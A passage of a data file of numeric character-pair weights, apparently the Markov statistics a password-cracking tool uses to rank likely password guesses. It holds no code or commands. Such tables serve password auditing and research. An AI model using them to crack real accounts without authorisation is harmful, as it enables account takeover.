-28=proba2[44*256+59] -37=proba2[44*256+65] -44=proba2[44*256+66] -44=proba2[44*256+73] -44=proba2[44*256+83] -44=proba2[44*256+84] -44=proba2[44*256+86] -37=proba2[44*256+97] -44=proba2[44*256+98] -37=proba2[44*256+99] -33=proba2[44*256+100] -37=proba2[44*256+102] -44=proba2[44*256+103] -44=proba2[44*256+105] -37=proba2[44*256+106] -44=proba2[44*256+107] -23=proba2[44*256+109] -37=proba2[44*256+110] -30=proba2[44*256+112] -37=proba2[44*256+115] -26=proba2[44*256+116] -37=proba2[44*256+118] -44=proba2[44*256+121] -44=proba2[44*256+122] -91=proba1[45] -57=proba2[45*256+34] -57=proba2[45*256+36] -43=proba2[45*256+38] -57=proba2[45*256+39] -57=proba2[45*256+40] -43=proba2[45*256+43] -27=proba2[45*256+45] -33=proba2[45*256+48] -23=proba2[45*256+49] -32=proba2[45*256+50] -43=proba2[45*256+51] -43=proba2[45*256+52] -46=proba2[45*256+53] -33=proba2[45*256+54] -36=proba2[45*256+55] -36=proba2[45*256+56] -30=proba2[45*256+57] -57=proba2[45*256+63] -57=proba2[45*256+65] -50=proba2[45*256+66] -50=proba2[45*256+67] -50=proba2[45*256+68] -57=proba2[45*256+69] -50=proba2[45*256+70] -50=proba2[45*256+71] -57=proba2[45*256+73] -57=proba2[45*256+74] -57=proba2[45*256+75] -50=proba2[45*256+76] -57=proba2[45*256+77] -57=proba2[45*256+78] -57=proba2[45*256+80] -50=proba2[45*256+84] -57=proba2[45*256+87] -46=proba2[45*256+88] -57=proba2[45*256+97] -39=proba2[45*256+98] -33=proba2[45*256+99] -41=proba2[45*256+100] -50=proba2[45*256+101] -35=proba2[45*256+102] -36=proba2[45*256+103] -41=proba2[45*256+104] -39=proba2[45*256+105] -36=proba2[45*256+106] -50=proba2[45*256+107] -30=proba2[45*256+108] -35=proba2[45*256+109] -37=proba2[45*256+110] -43=proba2[45*256+111] -39=proba2[45*256+112] -35=proba2[45*256+114] -36=proba2[45*256+115] -32=proba2[45*256+116] -57=proba2[45*256+117] -46=proba2[45*256+118] -41=proba2[45*256+119] -50=proba2[45*256+120] -57=proba2[45*256+121] -57=proba2[45*256+122] -93=proba1[46] -54=proba2[46*256+32] -54=proba2[46*256+35] -54=proba2[46*256+43] -41=proba2[46*256+44] -23=proba2[46*256+46] -24=proba2[46*256+48] -27=proba2[46*256+49] -32=proba2[46*256+50] -34=proba2[46*256+51] -41=proba2[46*256+52] -35=proba2[46*256+53] -41=proba2[46*256+54] -36=proba2[46*256+55] -29=proba2[46*256+56] -38=proba2[46*256+57] -43=proba2[46*256+65] -47=proba2[46*256+70] -54=proba2[46*256+71] -47=proba2[46*256+73] -54=proba2[46*256+74] -47=proba2[46*256+78] -54=proba2[46*256+79] -54=proba2[46*256+83] -41=proba2[46*256+84] -54=proba2[46*256+85] -54=proba2[46*256+87] -38=proba2[46*256+97] -35=proba2[46*256+98] -36=proba2[46*256+99] -35=proba2[46*256+100] -41=proba2[46*256+101] -38=proba2[46*256+102] -43=proba2[46*256+103] -41=proba2[46*256+104] -54=proba2[46*256+105] -38=proba2[46*256+106] -54=proba2[46*256+107] -34=proba2[46*256+108] -38=proba2[46*256+109] -34=proba2[46*256+110] -47=proba2[46*256+111] -47=proba2[46*256+112] -54=proba2[46*256+113] -54=proba2[46*256+114] -30=proba2[46*256+115] -38=proba2[46*256+117] -47=proba2[46*256+118] -43=proba2[46*256+119] -47=proba2[46*256+120] -54=proba2[46*256+121] -47=proba2[46*256+122] -46=proba1[48] -94=proba2[48*256+32] -83=proba2[48*256+33] -94=proba2[48*256+35] -78=proba2[48*256+36] -87=proba2[48*256+37] -87=proba2[48*256+41] -94=proba2[48*256+42] -83=proba2[48*256+43] -76=proba2[48*256+45] -73=proba2[48*256+46] -14=proba2[48*256+48] -20=proba2[48*256+49] -26=proba2[48*256+50] -27=proba2[48*256+51] -27=proba2[48*256+52] -27=proba2[48*256+53] -27=proba2[48*256+54] -22=proba2[48*256+55] -27=proba2[48*256+56] -29=proba2[48*256+57] -87=proba2[48*256+59] -94=proba2[48*256+60] -94=proba2[48*256+64] -75=proba2[48*256+65] -78=proba2[48*256+66] -87=proba2[48*256+67] -94=proba2[48*256+69] -83=proba2[48*256+70] -87=proba2[48*256+71] -87=proba2[48*256+72] -87=proba2[48*256+73] -94=proba2[48*256+74] -80=proba2[48*256+75] -80=proba2[48*256+76] -72=proba2[48*256+77] -83=proba2[48*256+78] -94=proba2[48*256+79] -94=proba2[48*256+80] -83=proba2[48*256+82] -76=proba2[48*256+83] -87=proba2[48*256+84] -83=proba2[48*256+86] -94=proba2[48*256+88] -80=proba2[48*256+90] -94=proba2[48*256+95] -53=proba2[48*256+97] -56=proba2[48*256+98] -52=proba2[48*256+99] -56=proba2[48*256+100] -60=proba2[48*256+101] -59=proba2[48*256+102] -63=proba2[48*256+103] -67=proba2[48*256+104] -69=proba2[48*256+105] -63=proba2[48*256+106] -63=proba2[48*256+107] -54=proba2[48*256+108] -51=proba2[48*256+109] -55=proba2[48*256+110] -62=proba2[48*256+111] -58=proba2[48*256+112] -78=proba2[48*256+113] -56=proba2[48*256+114] -54=proba2[48*256+115] -56=proba2[48*256+116] -60=proba2[48*256+117] -64=proba2[48*256+118] -65=proba2[48*256+119] -65=proba2[48*256+120] -72=proba2[48*256+121] -66=proba2[48*256+122] -38=proba1[49] -75=proba2[49*256+33] -95=proba2[49*256+35] -88=proba2[49*256+36] -84=proba2[49*256+38] -95=proba2[49*256+41] -75=proba2[49*256+42] -82=proba2[49*256+43] -79=proba2[49*256+44] -73=proba2[49*256+45] -69=proba2[49*256+46] -21=proba2[49*256+48] -21=proba2[49*256+49] -17=proba2[49*256+50] -26=proba2[49*256+51] -28=proba2[49*256+52] -28=proba2[49*256+53] -30=proba2[49*256+54] -27=proba2[49*256+55] -29=proba2[49*256+56] -20=proba2[49*256+57] -88=proba2[49*256+59] -84=proba2[49*256+61] -84=proba2[49*256+64] -67=proba2[49*256+65] -76=proba2[49*256+66] -76=proba2[49*256+67] -76=proba2[49*256+68] -82=proba2[49*256+69] -84=proba2[49*256+70] -79=proba2[49*256+71] -88=proba2[49*256+72] -84=proba2[49*256+73] -88=proba2[49*256+74] -82=proba2[49*256+75] -75=proba2[49*256+76] -72=proba2[49*256+77] -76=proba2[49*256+78] -79=proba2[49*256+79] -82=proba2[49*256+80] -82=proba2[49*256+82] -79=proba2[49*256+83] -75=proba2[49*256+84] -95=proba2[49*256+85] -88=proba2[49*256+86] -88=proba2[49*256+87] -95=proba2[49*256+88] -95=proba2[49*256+89] -84=proba2[49*256+90] -46=proba2[49*256+97] -50=proba2[49*256+98] -52=proba2[49*256+99] -54=proba2[49*256+100] -54=proba2[49*256+101] -58=proba2[49*256+102] -56=proba2[49*256+103] -64=proba2[49*256+104] -59=proba2[49*256+105] -56=proba2[49*256+106] -63=proba2[49*256+107] -55=proba2[49*256+108] -51=proba2[49*256+109] -53=proba2[49*256+110] -59=proba2[49*256+111] -56=proba2[49*256+112] -63=proba2[49*256+113] -56=proba2[49*256+114] -51=proba2[49*256+115] -54=proba2[49*256+116] -67=proba2[49*256+117] -60=proba2[49*256+118] -63=proba2[49*256+119] -65=proba2[49*256+120] -70=proba2[49*256+121] -69=proba2[49*256+122] -42=proba1[50] -82=proba2[50*256+32] -69=proba2[50*256+33] -82=proba2[50*256+35] -86=proba2[50*256+36] -86=proba2[50*256+37] -86=proba2[50*256+39] -71=proba2[50*256+42] -82=proba2[50*256+43] -93=proba2[50*256+44] -71=proba2[50*256+45] -65=proba2[50*256+46] -20=proba2[50*256+48] -22=proba2[50*256+49] -23=proba2[50*256+50] -18=proba2[50*256+51] -26=proba2[50*256+52] -25=proba2[50*256+53] -28=proba2[50*256+54] -26=proba2[50*256+55] -28=proba2[50*256+56] -30=proba2[50*256+57] -86=proba2[50*256+59] -86=proba2[50*256+61] -86=proba2[50*256+63] -82=proba2[50*256+64] -69=proba2[50*256+65] -69=proba2[50*256+66] -65=proba2[50*256+67] -77=proba2[50*256+68] -86=proba2[50*256+69] -79=proba2[50*256+70] -73=proba2[50*256+71] -75=proba2[50*256+72] -86=proba2[50*256+73] -82=proba2[50*256+74] -79=proba2[50*256+75] -82=proba2[50*256+76] -72=proba2[50*256+77] -71=proba2[50*256+78] -93=proba2[50*256+79] -75=proba2[50*256+80] -86=proba2[50*256+81] -75=proba2[50*256+82] -79=proba2[50*256+83] -71=proba2[50*256+84] -86=proba2[50*256+85] -79=proba2[50*256+86] -93=proba2[50*256+87] -86=proba2[50*256+88] -75=proba2[50*256+89] -73=proba2[50*256+90] -93=proba2[50*256+91] -93=proba2[50*256+95] -46=proba2[50*256+97] -45=proba2[50*256+98] -46=proba2[50*256+99] -49=proba2[50*256+100] -53=proba2[50*256+101] -50=proba2[50*256+102] -56=proba2[50*256+103] -57=proba2[50*256+104] -56=proba2[50*256+105] -56=proba2[50*256+106] -59=proba2[50*256+107] -51=proba2[50*256+108] -46=proba2[50*256+109] -56=proba2[50*256+110] -59=proba2[50*256+111] -50=proba2[50*256+112] -61=proba2[50*256+113] -48=proba2[50*256+114] -49=proba2[50*256+115] -53=proba2[50*256+116] -60=proba2[50*256+117] -57=proba2[50*256+118] -55=proba2[50*256+119] -63=proba2[50*256+120] -59=proba2[50*256+121] -58=proba2[50*256+122] -52=proba1[51] -69=proba2[51*256+33] -88=proba2[51*256+34] -77=proba2[51*256+35] -88=proba2[51*256+36] -88=proba2[51*256+37] -82=proba2[51*256+38] -71=proba2[51*256+42] -82=proba2[51*256+43] -88=proba2[51*256+44] -68=proba2[51*256+45] -60=proba2[51*256+46] -21=proba2[51*256+48] -22=proba2[51*256+49] -24=proba2[51*256+50] -23=proba2[51*256+51] -20=proba2[51*256+52] -26=proba2[51*256+53] -28=proba2[51*256+54] -28=proba2[51*256+55] -29=proba2[51*256+56] -32=proba2[51*256+57] -88=proba2[51*256+59] -88=proba2[51*256+61] -88=proba2[51*256+62] -77=proba2[51*256+63] -82=proba2[51*256+64] -61=proba2[51*256+65] -64=proba2[51*256+66] -68=proba2[51*256+67] -68=proba2[51*256+68] -72=proba2[51*256+69] -71=proba2[51*256+70] -64=proba2[51*256+71] -88=proba2[51*256+72] -82=proba2[51*256+73] -77=proba2[51*256+74] -69=proba2[51*256+75] -71=proba2[51*256+76] -68=proba2[51*256+77] -77=proba2[51*256+78] -88=proba2[51*256+79] -72=proba2[51*256+80] -88=proba2[51*256+81] -66=proba2[51*256+82] -77=proba2[51*256+83] -71=proba2[51*256+84] -88=proba2[51*256+85] -75=proba2[51*256+86] -88=proba2[51*256+87] -77=proba2[51*256+88] -69=proba2[51*256+90] -77=proba2[51*256+95] -43=proba2[51*256+97] -48=proba2[51*256+98] -45=proba2[51*256+99] -42=proba2[51*256+100] -48=proba2[51*256+101] -52=proba2[51*256+102] -50=proba2[51*256+103] -54=proba2[51*256+104] -55=proba2[51*256+105] -51=proba2[51*256+106] -57=proba2[51*256+107] -51=proba2[51*256+108] -44=proba2[51*256+109] -53=proba2[51*256+110] -54=proba2[51*256+111] -48=proba2[51*256+112] -61=proba2[51*256+113] -47=proba2[51*256+114] -49=proba2[51*256+115] -52=proba2[51*256+116] -60=proba2[51*256+117] -53=proba2[51*256+118] -58=proba2[51*256+119] -61=proba2[51*256+120] -61=proba2[51*256+121] -54=proba2[51*256+122] -56=proba1[52] -80=proba2[52*256+32] -87=proba2[52*256+33] -87=proba2[52*256+35] -80=proba2[52*256+36] -73=proba2[52*256+37] -87=proba2[52*256+39] -87=proba2[52*256+40] -87=proba2[52*256+42] -68=proba2[52*256+43] -87=proba2[52*256+44] -76=proba2[52*256+45] -69=proba2[52*256+46] -22=proba2[52*256+48] -23=proba2[52*256+49] -25=proba2[52*256+50] -29=proba2[52*256+51] -24=proba2[52*256+52] -19=proba2[52*256+53] -27=proba2[52*256+54] -25=proba2[52*256+55] -28=proba2[52*256+56] -30=proba2[52*256+57] -80=proba2[52*256+59] -87=proba2[52*256+61] -87=proba2[52*256+64] -69=proba2[52*256+65] -80=proba2[52*256+66] -69=proba2[52*256+67] -80=proba2[52*256+68] -80=proba2[52*256+69] -73=proba2[52*256+70] -71=proba2[52*256+71] -80=proba2[52*256+72] -87=proba2[52*256+73] -73=proba2[52*256+74] -80=proba2[52*256+75] -76=proba2[52*256+76] -73=proba2[52*256+77] -76=proba2[52*256+78] -87=proba2[52*256+79] -66=proba2[52*256+80] -87=proba2[52*256+81] -68=proba2[52*256+82] -87=proba2[52*256+83] -73=proba2[52*256+84] -76=proba2[52*256+85] -80=proba2[52*256+86] -76=proba2[52*256+87] -87=proba2[52*256+88] -76=proba2[52*256+89] -76=proba2[52*256+90] -80=proba2[52*256+95] -42=proba2[52*256+97] -47=proba2[52*256+98] -50=proba2[52*256+99] -48=proba2[52*256+100] -46=proba2[52*256+101] -48=proba2[52*256+102] -50=proba2[52*256+103] -53=proba2[52*256+104] -54=proba2[52*256+105] -52=proba2[52*256+106] -57=proba2[52*256+107] -49=proba2[52*256+108] -43=proba2[52*256+109] -52=proba2[52*256+110] -62=proba2[52*256+111] -49=proba2[52*256+112] -60=proba2[52*256+113] -51=proba2[52*256+114] -47=proba2[52*256+115] -48=proba2[52*256+116] -51=proba2[52*256+117] -57=proba2[52*256+118] -57=proba2[52*256+119] -58=proba2[52*256+120] -54=proba2[52*256+121] -57=proba2[52*256+122] -57=proba1[53] -80=proba2[53*256+32] -80=proba2[53*256+33] -76=proba2[53*256+35] -76=proba2[53*256+36] -80=proba2[53*256+37] -87=proba2[53*256+38] -87=proba2[53*256+39] -69=proba2[53*256+43] -87=proba2[53*256+44] -71=proba2[53*256+45] -71=proba2[53*256+46] -21=proba2[53*256+48] -23=proba2[53*256+49] -26=proba2[53*256+50] -28=proba2[53*256+51] -26=proba2[53*256+52] -24=proba2[53*256+53] -19=proba2[53*256+54] -24=proba2[53*256+55] -27=proba2[53*256+56] -26=proba2[53*256+57] -87=proba2[53*256+59] -87=proba2[53*256+61] -80=proba2[53*256+63] -68=proba2[53*256+65] -68=proba2[53*256+66] -64=proba2[53*256+67] -87=proba2[53*256+68] -87=proba2[53*256+69] -67=proba2[53*256+70] -68=proba2[53*256+71] -80=proba2[53*256+72] -80=proba2[53*256+73] -73=proba2[53*256+74] -87=proba2[53*256+75] -73=proba2[53*256+76] -73=proba2[53*256+77] -80=proba2[53*256+78] -80=proba2[53*256+79] -68=proba2[53*256+80] -87=proba2[53*256+81] -73=proba2[53*256+82] -71=proba2[53*256+83] -71=proba2[53*256+84] -76=proba2[53*256+85] -87=proba2[53*256+86] -76=proba2[53*256+87] -87=proba2[53*256+88] -80=proba2[53*256+89] -87=proba2[53*256+90] -45=proba2[53*256+97] -48=proba2[53*256+98] -49=proba2[53*256+99] -52=proba2[53*256+100] -50=proba2[53*256+101] -50=proba2[53*256+102] -50=proba2[53*256+103] -58=proba2[53*256+104] -56=proba2[53*256+105] -56=proba2[53*256+106] -55=proba2[53*256+107] -52=proba2[53*256+108] -46=proba2[53*256+109] -54=proba2[53*256+110] -58=proba2[53*256+111] -49=proba2[53*256+112] -57=proba2[53*256+113] -51=proba2[53*256+114] -49=proba2[53*256+115] -51=proba2[53*256+116] -62=proba2[53*256+117] -58=proba2[53*256+118] -60=proba2[53*256+119] -62=proba2[53*256+120] -54=proba2[53*256+121] -57=proba2[53*256+122] -56=proba1[54] -75=proba2[54*256+32] -70=proba2[54*256+33] -81=proba2[54*256+36] -81=proba2[54*256+42] -81=proba2[54*256+43] -68=proba2[54*256+45] -70=proba2[54*256+46] -23=proba2[54*256+48] -26=proba2[54*256+49] -30=proba2[54*256+50] -29=proba2[54*256+51] -26=proba2[54*256+52] -27=proba2[54*256+53] -15=proba2[54*256+54] -24=proba2[54*256+55] -26=proba2[54*256+56] -22=proba2[54*256+57] -88=proba2[54*256+59] -81=proba2[54*256+61] -88=proba2[54*256+63] -88=proba2[54*256+64] -68=proba2[54*256+65] -61=proba2[54*256+66] -81=proba2[54*256+67] -77=proba2[54*256+68] -77=proba2[54*256+69] -75=proba2[54*256+70] -77=proba2[54*256+71] -77=proba2[54*256+72] -66=proba2[54*256+73] -88=proba2[54*256+74] -68=proba2[54*256+75] -88=proba2[54*256+76] -77=proba2[54*256+77] -88=proba2[54*256+78] -88=proba2[54*256+79] -75=proba2[54*256+80] -81=proba2[54*256+81] -75=proba2[54*256+82] -77=proba2[54*256+83] -88=proba2[54*256+84] -88=proba2[54*256+85] -77=proba2[54*256+86] -75=proba2[54*256+87] -88=proba2[54*256+88] -88=proba2[54*256+89] -88=proba2[54*256+90] -88=proba2[54*256+93] -88=proba2[54*256+94] -47=proba2[54*256+97] -49=proba2[54*256+98] -52=proba2[54*256+99] -51=proba2[54*256+100] -53=proba2[54*256+101] -53=proba2[54*256+102] -55=proba2[54*256+103] -58=proba2[54*256+104] -55=proba2[54*256+105] -54=proba2[54*256+106] -54=proba2[54*256+107] -53=proba2[54*256+108] -48=proba2[54*256+109] -53=proba2[54*256+110] -59=proba2[54*256+111] -50=proba2[54*256+112] -64=proba2[54*256+113] -53=proba2[54*256+114] -47=proba2[54*256+115] -54=proba2[54*256+116] -64=proba2[54*256+117] -57=proba2[54*256+118] -65=proba2[54*256+119] -61=proba2[54*256+120] -58=proba2[54*256+121] -61=proba2[54*256+122] -55=proba1[55] -82=proba2[55*256+32] -71=proba2[55*256+33] -78=proba2[55*256+35] -78=proba2[55*256+36] -82=proba2[55*256+38] -71=proba2[55*256+42] -82=proba2[55*256+43] -82=proba2[55*256+44] -67=proba2[55*256+45] -67=proba2[55*256+46] -23=proba2[55*256+48] -24=proba2[55*256+49] -26=proba2[55*256+50] -26=proba2[55*256+51] -24=proba2[55*256+52] -23=proba2[55*256+53] -25=proba2[55*256+54] -20=proba2[55*256+55] -23=proba2[55*256+56] -26=proba2[55*256+57] -78=proba2[55*256+59] -82=proba2[55*256+64] -71=proba2[55*256+65] -71=proba2[55*256+66] -73=proba2[55*256+67] -71=proba2[55*256+68] -75=proba2[55*256+69] -75=proba2[55*256+70] -89=proba2[55*256+71] -78=proba2[55*256+72] -75=proba2[55*256+73] -78=proba2[55*256+74] -78=proba2[55*256+75] -71=proba2[55*256+76] -71=proba2[55*256+77] -75=proba2[55*256+78] -82=proba2[55*256+79] -78=proba2[55*256+80] -89=proba2[55*256+81] -78=proba2[55*256+82] -78=proba2[55*256+83] -78=proba2[55*256+84] -89=proba2[55*256+85] -75=proba2[55*256+86] -75=proba2[55*256+87] -78=proba2[55*256+88] -82=proba2[55*256+89] -82=proba2[55*256+90] -48=proba2[55*256+97] -50=proba2[55*256+98] -51=proba2[55*256+99] -53=proba2[55*256+100] -54=proba2[55*256+101] -56=proba2[55*256+102] -52=proba2[55*256+103] -60=proba2[55*256+104] -55=proba2[55*256+105] -53=proba2[55*256+106] -56=proba2[55*256+107] -50=proba2[55*256+108] -49=proba2[55*256+109] -55=proba2[55*256+110] -61=proba2[55*256+111] -53=proba2[55*256+112] -67=proba2[55*256+113] -58=proba2[55*256+114] -52=proba2[55*256+115] -53=proba2[55*256+116] -56=proba2[55*256+117] -54=proba2[55*256+118] -63=proba2[55*256+119] -62=proba2[55*256+120] -61=proba2[55*256+121] -58=proba2[55*256+122] -89=proba2[55*256+124] -60=proba1[56] -86=proba2[56*256+32] -75=proba2[56*256+33] -75=proba2[56*256+36] -86=proba2[56*256+38] -86=proba2[56*256+41] -66=proba2[56*256+42] -86=proba2[56*256+44] -68=proba2[56*256+45] -66=proba2[56*256+46] -19=proba2[56*256+48] -21=proba2[56*256+49] -24=proba2[56*256+50] -25=proba2[56*256+51] -27=proba2[56*256+52] -27=proba2[56*256+53] -27=proba2[56*256+54] -25=proba2[56*256+55] -25=proba2[56*256+56] -27=proba2[56*256+57] -86=proba2[56*256+59] -86=proba2[56*256+61] -72=proba2[56*256+63] -79=proba2[56*256+65] -68=proba2[56*256+66] -75=proba2[56*256+67] -79=proba2[56*256+68] -79=proba2[56*256+69] -68=proba2[56*256+70] -75=proba2[56*256+71] -79=proba2[56*256+72] -70=proba2[56*256+74] -75=proba2[56*256+75] -70=proba2[56*256+76] -66=proba2[56*256+77] -79=proba2[56*256+78] -75=proba2[56*256+79] -72=proba2[56*256+80] -79=proba2[56*256+81] -79=proba2[56*256+82] -68=proba2[56*256+83] -72=proba2[56*256+84] -86=proba2[56*256+85] -86=proba2[56*256+86] -86=proba2[56*256+87] -79=proba2[56*256+88] -79=proba2[56*256+89] -72=proba2[56*256+90] -79=proba2[56*256+94] -46=proba2[56*256+97] -46=proba2[56*256+98] -47=proba2[56*256+99] -52=proba2[56*256+100] -49=proba2[56*256+101] -54=proba2[56*256+102] -49=proba2[56*256+103] -50=proba2[56*256+104] -55=proba2[56*256+105] -49=proba2[56*256+106] -51=proba2[56*256+107] -53=proba2[56*256+108] -46=proba2[56*256+109] -56=proba2[56*256+110] -60=proba2[56*256+111] -50=proba2[56*256+112] -60=proba2[56*256+113] -53=proba2[56*256+114] -45=proba2[56*256+115] -50=proba2[56*256+116] -58=proba2[56*256+117] -58=proba2[56*256+118] -59=proba2[56*256+119] -64=proba2[56*256+120] -57=proba2[56*256+121] -55=proba2[56*256+122] -59=proba1[57] -82=proba2[57*256+32] -73=proba2[57*256+33] -89=proba2[57*256+36] -89=proba2[57*256+38] -78=proba2[57*256+42] -78=proba2[57*256+43] -71=proba2[57*256+45] -68=proba2[57*256+46] -26=proba2[57*256+48] -27=proba2[57*256+49] -30=proba2[57*256+50] -30=proba2[57*256+51] -29=proba2[57*256+52] -27=proba2[57*256+53] -24=proba2[57*256+54] -20=proba2[57*256+55] -15=proba2[57*256+56] -21=proba2[57*256+57] -89=proba2[57*256+61] -89=proba2[57*256+62] -67=proba2[57*256+65] -78=proba2[57*256+66] -75=proba2[57*256+68] -75=proba2[57*256+69] -82=proba2[57*256+71] -82=proba2[57*256+72] -78=proba2[57*256+73] -78=proba2[57*256+74] -71=proba2[57*256+75] -75=proba2[57*256+76] -71=proba2[57*256+77] -78=proba2[57*256+78] -82=proba2[57*256+79] -75=proba2[57*256+80] -70=proba2[57*256+82] -71=proba2[57*256+83] -75=proba2[57*256+84] -89=proba2[57*256+85] -82=proba2[57*256+86] -89=proba2[57*256+87] -75=proba2[57*256+89] -78=proba2[57*256+90] -49=proba2[57*256+97] -54=proba2[57*256+98] -49=proba2[57*256+99] -57=proba2[57*256+100] -58=proba2[57*256+101] -55=proba2[57*256+102] -55=proba2[57*256+103] -57=proba2[57*256+104] -57=proba2[57*256+105] -57=proba2[57*256+106] -61=proba2[57*256+107] -53=proba2[57*256+108] -51=proba2[57*256+109] -57=proba2[57*256+110] -63=proba2[57*256+111] -55=proba2[57*256+112] -66=proba2[57*256+113] -55=proba2[57*256+114] -51=proba2[57*256+115] -55=proba2[57*256+116] -63=proba2[57*256+117] -59=proba2[57*256+118] -61=proba2[57*256+119] -60=proba2[57*256+120] -64=proba2[57*256+121] -65=proba2[57*256+122] -97=proba1[59] -40=proba2[59*256+39] -40=proba2[59*256+42] -33=proba2[59*256+48] -40=proba2[59*256+50] -40=proba2[59*256+51] -33=proba2[59*256+52] -40=proba2[59*256+55] -33=proba2[59*256+57] -18=proba2[59*256+59] -40=proba2[59*256+61] -40=proba2[59*256+76] -33=proba2[59*256+77] -40=proba2[59*256+78] -40=proba2[59*256+80] -40=proba2[59*256+84] -40=proba2[59*256+97] -33=proba2[59*256+98] -33=proba2[59*256+100] -29=proba2[59*256+101] -33=proba2[59*256+102] -33=proba2[59*256+103] -40=proba2[59*256+104] -40=proba2[59*256+105] -33=proba2[59*256+108] -33=proba2[59*256+109] -26=proba2[59*256+110] -40=proba2[59*256+111] -40=proba2[59*256+112] -40=proba2[59*256+113] -33=proba2[59*256+114] -29=proba2[59*256+115] -111=proba1[60] -19=proba2[60*256+35] -19=proba2[60*256+49] -12=proba2[60*256+50] -19=proba2[60*256+51] -12=proba2[60*256+62] -95=proba1[61] -43=proba2[61*256+37] -43=proba2[61*256+40] -43=proba2[61*256+41] -32=proba2[61*256+42] -43=proba2[61*256+44] -43=proba2[61*256+45] -37=proba2[61*256+49] -24=proba2[61*256+50] -32=proba2[61*256+51] -37=proba2[61*256+53] -37=proba2[61*256+55] -43=proba2[61*256+56] -43=proba2[61*256+57] -43=proba2[61*256+59] -15=proba2[61*256+61] -43=proba2[61*256+63] -43=proba2[61*256+71] -43=proba2[61*256+83] -43=proba2[61*256+90] -43=proba2[61*256+94] -37=proba2[61*256+97] -37=proba2[61*256+98] -43=proba2[61*256+100] -43=proba2[61*256+102] -37=proba2[61*256+103] -43=proba2[61*256+107] -37=proba2[61*256+108] -20=proba2[61*256+109] -43=proba2[61*256+110] -43=proba2[61*256+111] -43=proba2[61*256+112] -43=proba2[61*256+113] -43=proba2[61*256+115] -32=proba2[61*256+116] -43=proba2[61*256+117] -43=proba2[61*256+119] -13=proba2[62*256+65] -13=proba2[62*256+98] -13=proba2[62*256+108] -13=proba2[62*256+115] -97=proba1[63] -25=proba2[63*256+33] -36=proba2[63*256+43] -29=proba2[63*256+46] -36=proba2[63*256+50] -36=proba2[63*256+54] -22=proba2[63*256+63] -36=proba2[63*256+65] -36=proba2[63*256+69] -36=proba2[63*256+73] -36=proba2[63*256+78] -36=proba2[63*256+89] -36=proba2[63*256+91] -36=proba2[63*256+98] -29=proba2[63*256+99] -36=proba2[63*256+101] -36=proba2[63*256+109] -29=proba2[63*256+110] -36=proba2[63*256+111] -36=proba2[63*256+113] -29=proba2[63*256+114] -29=proba2[63*256+115] -36=proba2[63*256+116] -36=proba2[63*256+119] -22=proba2[63*256+122] -82=proba1[64] -48=proba2[64*256+33] -37=proba2[64*256+35] -48=proba2[64*256+36] -48=proba2[64*256+46] -37=proba2[64*256+48] -32=proba2[64*256+49] -41=proba2[64*256+50] -37=proba2[64*256+51] -37=proba2[64*256+52] -48=proba2[64*256+53] -41=proba2[64*256+54] -41=proba2[64*256+55] -41=proba2[64*256+57] -48=proba2[64*256+63] -23=proba2[64*256+64] -48=proba2[64*256+66] -48=proba2[64*256+82] -41=proba2[64*256+91] -48=proba2[64*256+98] -34=proba2[64*256+99] -32=proba2[64*256+100] -48=proba2[64*256+101] -37=proba2[64*256+102] -34=proba2[64*256+103] -48=proba2[64*256+104] -41=proba2[64*256+106] -48=proba2[64*256+107] -25=proba2[64*256+108] -18=proba2[64*256+109] -34=proba2[64*256+110] -27=proba2[64*256+114] -32=proba2[64*256+115] -27=proba2[64*256+116] -37=proba2[64*256+118] -41=proba2[64*256+119] -48=proba2[64*256+120] -48=proba2[64*256+122] -59=proba1[65] -72=proba2[65*256+33] -65=proba2[65*256+43] -65=proba2[65*256+44] -65=proba2[65*256+45] -72=proba2[65*256+46] -54=proba2[65*256+48] -36=proba2[65*256+49] -39=proba2[65*256+50] -48=proba2[65*256+51] -51=proba2[65*256+52] -45=proba2[65*256+53] -47=proba2[65*256+54] -54=proba2[65*256+55] -51=proba2[65*256+56] -45=proba2[65*256+57] -72=proba2[65*256+59] -40=proba2[65*256+65] -35=proba2[65*256+66] -33=proba2[65*256+67] -35=proba2[65*256+68] -47=proba2[65*256+69] -43=proba2[65*256+70] -42=proba2[65*256+71] -49=proba2[65*256+72] -33=proba2[65*256+73] -56=proba2[65*256+74] -43=proba2[65*256+75] -25=proba2[65*256+76] -29=proba2[65*256+77] -22=proba2[65*256+78] -50=proba2[65*256+79] -40=proba2[65*256+80] -56=proba2[65*256+81] -25=proba2[65*256+82] -28=proba2[65*256+83] -30=proba2[65*256+84] -35=proba2[65*256+85] -43=proba2[65*256+86] -50=proba2[65*256+87] -49=proba2[65*256+88] -44=proba2[65*256+89] -35=proba2[65*256+90] -58=proba2[65*256+97] -49=proba2[65*256+98] -53=proba2[65*256+99] -44=proba2[65*256+100] -65=proba2[65*256+101] -72=proba2[65*256+102] -56=proba2[65*256+103] -65=proba2[65*256+104] -58=proba2[65*256+105] -58=proba2[65*256+107] -37=proba2[65*256+108] -56=proba2[65*256+109] -37=proba2[65*256+110] -54=proba2[65*256+112] -65=proba2[65*256+113] -43=proba2[65*256+114] -46=proba2[65*256+115] -51=proba2[65*256+116] -51=proba2[65*256+117] -61=proba2[65*256+118] -61=proba2[65*256+119] -65=proba2[65*256+120] -56=proba2[65*256+121] -72=proba2[65*256+122] -63=proba1[66] -63=proba2[66*256+35] -49=proba2[66*256+45] -43=proba2[66*256+48] -34=proba2[66*256+49] -40=proba2[66*256+50] -43=proba2[66*256+51] -41=proba2[66*256+52] -47=proba2[66*256+53] -39=proba2[66*256+54] -49=proba2[66*256+55] -41=proba2[66*256+56] -41=proba2[66*256+57] -63=proba2[66*256+64] -25=proba2[66*256+65] -38=proba2[66*256+66] -36=proba2[66*256+67] -33=proba2[66*256+68] -25=proba2[66*256+69] -49=proba2[66*256+70] -39=proba2[66*256+71] -63=proba2[66*256+72] -30=proba2[66*256+73] -47=proba2[66*256+74] -52=proba2[66*256+75] -35=proba2[66*256+76] -41=proba2[66*256+77] -43=proba2[66*256+78] -25=proba2[66*256+79] -63=proba2[66*256+80] -63=proba2[66*256+81] -34=proba2[66*256+82] -45=proba2[66*256+83] -52=proba2[66*256+84] -39=proba2[66*256+85] -47=proba2[66*256+86] -56=proba2[66*256+87] -56=proba2[66*256+88] -49=proba2[66*256+89] -43=proba2[66*256+90] -29=proba2[66*256+97] -63=proba2[66*256+98] -63=proba2[66*256+99] -35=proba2[66*256+101] -63=proba2[66*256+104] -35=proba2[66*256+105] -49=proba2[66*256+108] -63=proba2[66*256+110] -29=proba2[66*256+111] -52=proba2[66*256+112] -63=proba2[66*256+113] -35=proba2[66*256+114] -56=proba2[66*256+115] -56=proba2[66*256+116] -39=proba2[66*256+117] 